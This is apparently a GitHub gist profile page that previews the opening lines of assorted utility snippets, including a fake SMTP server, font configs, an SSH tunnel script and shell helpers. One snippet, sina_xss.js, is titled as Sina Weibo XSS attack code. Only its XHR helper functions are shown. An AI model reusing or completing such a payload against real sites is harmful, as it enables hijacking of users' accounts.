Skip to content

Instantly share code, notes, and snippets.

View ninehills's full-sized avatar

Tao Yang ninehills

View GitHub Profile
@ninehills
ninehills / fake_smtp.py
Created September 15, 2013 12:06
A fake smtp server, use system sendmail to send the mail. (need Python > 2.4)
#!/usr/bin/env python
"""A fake smtp server, use system sendmail to send the mail. (need Python > 2.4)"""
import smtpd
import asyncore
from subprocess import Popen, PIPE
class FakeSMTPServer(smtpd.SMTPServer):
"""A Fake smtp server"""
@ninehills
ninehills / urandom-reads.py
Created August 11, 2021 10:44 — forked from drsnyder/urandom-reads.py
Demonstrate the contention on /dev/urandom with N threads.
# Create a user land file for testing.
# dd if=/dev/urandom of=/tmp/urandom bs=1M count=10
#
# urandom-reads.py infile threads
# Examples:
# time python2.6 urandom-reads.py /tmp/urandom
# time python2.6 urandom-reads.py /dev/urandom
#
# R to generate a plot of the read time distribution at each level of concurrency
# rdt = read.csv("output.csv", header=F)
@ninehills
ninehills / delay
Created March 9, 2011 10:32
Linux下用来延时执行命令的小脚本
#!/bin/bash
# 参数1:延迟的时间,单位s
# 参数2:需要执行的命令
# example:
# delay 10 "conky -d"
sleep $1
exec $2
@ninehills
ninehills / README.md
Last active December 25, 2020 04:49
使用百度云CFC提供百度云BOS的文件查看服务

使用百度云CFC提供百度云BOS的文件查看服务

用途:BOS需要一个简单的文件查看页面,用于查看和下载

操作步骤

在百度云CFC函数计算中创建新的“空白函数”,运行时选择“Python 3.6“,超时时间选择 30s。 触发器选择“HTTP触发器”,URL路径为/{path+},HTTP方法为GET,不开启验证

创建完成后,将bos_fileserver.py的代码贴入代码框,调整其中的

@ninehills
ninehills / server.php
Created August 9, 2010 06:08
php socket server
<?php
require("sql.php");
//确保在连接客户端时不会超时
set_time_limit(0);
//设置IP和端口号
$address = 'localhost';
$port = 2009;
@ninehills
ninehills / OSX.ini
Created April 23, 2012 01:35
MacType OSX.ini
; ----------------------------------------------------------------------
; XMac
; (Only for MacType, NOT SUPPORT THE OLD VERSION OF GDI++/HE)
;
; maxchow@qq.com
; QQ Group: 18988755
; ----------------------------------------------------------------------
[Preview]
Font=XHei OSX
@ninehills
ninehills / sshgfw
Created July 30, 2010 05:03 — forked from fuckgfw/sshgfw
linux下ssh翻墙断线重连
#!/usr/bin/expect
set timeout 60
spawn /usr/bin/ssh -D 7070 -g username@yourserver.com
#这里的 username 为你自己的用户名,yourserver.com 为你自己的服务器域名或ip
expect {
"password:" {
send "password\r"
#将第二个 password 改为你自己的密码
}
@ninehills
ninehills / sina_xss.js
Created June 29, 2011 03:58
新浪微博XSS攻击代码
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
@ninehills
ninehills / CandyTypeSharpFixGBK.ini
Last active May 23, 2018 01:59
Candy MacType Config for GBK
[General]
Icon=Candy.ico,0
DirectWrite=1
HintSmallFont=1
HintingMode=1
AntiAliasMode=2
NormalWeight=10
BoldWeight=1
ItalicSlant=-2
EnableKerning=0
@ninehills
ninehills / baidupan-offline-dl.sh
Created September 13, 2013 08:35
Submit offline download tasks to Baidu Pan.
#!/bin/sh
# by Jakukyo Friel <weakish@gmail.com>
# under Apache License, Version 2.0, <http://www.apache.org/licenses/LICENSE-2.0.html>
### Submit offline download tasks to Baidu Pan.
## Requires:
#
# - [jq](http://stedolan.github.io/jq/)